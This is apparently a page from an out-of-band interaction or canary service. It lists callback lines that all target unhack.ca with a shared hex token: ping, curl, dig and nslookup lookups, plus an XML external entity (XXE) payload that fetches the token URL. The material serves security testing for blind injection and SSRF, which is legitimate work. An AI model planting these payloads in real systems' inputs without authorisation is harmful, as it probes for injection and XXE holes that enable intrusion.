$ ping -c1 -p 009caa0b719fac0dc088b4732599ac00 unhack.ca
 

$ curl http://unhack.ca/p/9caa0b719fac0dc088b4732599ac
 

$ dig 9caa0b719fac0dc088b4732599ac @unhack.ca
 

$ dig 9caa0b719fac0dc088b4732599ac.ns.unhack.ca
 

C:\> nslookup 9caa0b719fac0dc088b4732599ac unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9caa0b719fac0dc088b4732599ac">]>
    <foo>&xxe;</foo>